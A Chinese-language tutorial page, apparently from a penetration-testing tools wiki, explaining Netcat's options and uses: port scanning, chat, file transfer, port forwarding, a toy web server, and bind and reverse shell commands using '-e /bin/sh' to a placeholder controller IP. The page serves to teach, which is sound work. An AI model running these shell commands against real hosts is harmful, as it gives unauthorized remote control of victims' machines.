工具
Metasploit Framework
Nmap
SQLMap
Dirb
Gobuster
Netcat
反弹shell
Hydra
wfuzz
wpscan
searchsploit
字典
arp-scan
hashcat
Netdiscover
Cobalt Strike
Goby
Nessus
Xray
Nuclei
-
+
首页
Netcat
## 概述 Netcat(简称nc)是一款功能强大的网络工具,被誉为 “网络瑞士军刀”,因其简洁灵活的设计和多场景适用性,成为网络调试、渗透测试、远程管理等领域的必备工具。它支持 TCP/UDP 协议,可实现端口扫描、连接建立、数据传输、shell 交互等多种功能,且跨平台(Linux、Windows、macOS 等均有版本)。 > 定义 Netcat 是一个基于命令行的网络工具,核心功能是在两台主机之间建立 TCP 或 UDP 连接,并在连接上传输数据(文本、文件、命令流等)。 它的设计理念是 “简单而通用”—— 通过最小化的接口实现最灵活的网络交互,可单独使用,也可与其他工具(如bash、python)组合实现复杂功能。 > 特性 **协议支持**:默认使用 TCP,通过-u参数支持 UDP。 **双向通信**:建立连接后,可双向传输数据(从标准输入读取,向标准输出写入)。 **无状态设计**:不解析应用层协议(如 HTTP、FTP),仅处理底层数据传输,灵活性极高。 **跨平台**:主流操作系统均有移植版本(如 GNU Netcat、OpenBSD Netcat、ncat 等衍生版本)。 > 命令格式 ```bash nc [选项] [目标IP] [目标端口] ``` > 最常用的参数 | 参数 | 作用 | | ---- | ------------------------------------------------------------ | | -l | 进入监听模式(被动等待连接),需配合-p指定端口。 | | -p | 指定本地端口(监听或连接时使用)。 | | -v | 显示详细输出(verbose 模式),用于调试(如连接成功 / 失败信息)。 | | -vv | 更详细的输出(debug 级),显示更多底层信息(如 TCP 握手过程)。 | | -n | 不进行 DNS 解析(直接使用 IP,加速连接)。 | | -u | 使用 UDP 协议(默认是 TCP)。 | | -e | 绑定一个程序到连接(如-e /bin/sh将 shell 绑定到连接,风险极高)。 | | -w | 超时时间(秒),用于连接或监听时限制等待时间。 | | -z | 扫描模式(仅检测端口是否开放,不发送数据)。 | ## 核心功能 > 端口扫描(检测目标端口是否开放) 通过-z(扫描模式)和-v(详细输出),可快速检测目标主机的端口状态(TCP 默认,-u可扫描 UDP)。 ```bash nc -zv 192.168.1.100 80-85 ``` > 建立 TCP/UDP 连接(简易聊天 / 数据传输) 主机 A(监听): ```bash nc -lvp 8888 # -l监听,-v详细,-p指定端口8888 ``` 主机 B(连接): ```bash nc -nv 192.168.1.101 8888 # -n不解析DNS,-v详细 ``` 连接建立后,两边输入的文本会实时发送给对方,按Ctrl+C断开连接。 > 文件传输(无依赖快速传文件) 当目标主机没有scp、ftp等工具时,Netcat 可通过重定向实现文件传输(需确保端口可通)。 主机 B(接收方,先监听): ```bash nc -lvp 8888 > test.txt # 将接收到的数据写入test.txt ``` 主机 A(发送方,连接并发送): ```bash nc -nv 192.168.1.102 8888 < test.txt # 读取test.txt并发送 ``` 传输完成后,两边按Ctrl+C结束即可。同理可传输压缩包、二进制文件等。 > 正向连接shell 目标主机监听端口,并将 shell 绑定到该端口,控制端主动连接目标端口获取 shell。 目标主机(Linux): ```bash nc -lvp 8888 -e /bin/sh # 监听8888端口,将/bin/sh绑定到连接 ``` 控制端: ```bash nc -nv 目标IP 8888 # 连接目标端口,获取shell ``` 连接后,控制端输入的命令会在目标主机执行,结果返回控制端。 > 反向连接shell 目标主机主动连接控制端的监听端口,并将 shell 发送给控制端(适用于目标在内网或防火墙限制入站连接的场景)。 控制端(先监听): ```bash nc -lvp 8888 # 监听8888端口,等待连接 ``` 目标主机(Linux): ```bash nc -nv 控制端IP 8888 -e /bin/sh # 主动连接控制端,将shell发送过去 ``` 连接建立后,控制端即可远程操控目标主机。 > 端口转发(流量中转) Netcat 可将本地端口的流量转发到目标主机的指定端口,实现简易的 “端口映射”。 **场景**:将本地 8080 端口的流量转发到10.0.0.1:80(访问本地 8080 即相当于访问 10.0.0.1:80)。 ```bash nc -lvp 8080 -c 'nc 10.0.0.1 80' # -c执行命令,将流量转发到10.0.0.1:80 ``` > 作为简易 Web 服务器 结合echo和管道,可快速搭建一个返回固定内容的 Web 服务器(仅用于测试)。 **示例**:监听 80 端口,向访问者返回 “Hello Netcat”: ```bash while true; do echo -e "HTTP/1.1 200 OK\n\nHello Netcat" | nc -lvp 80; done ``` 注意:while true确保连接断开后重新监听,echo -e构造 HTTP 响应头。
毛林
2025年10月7日 11:49
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码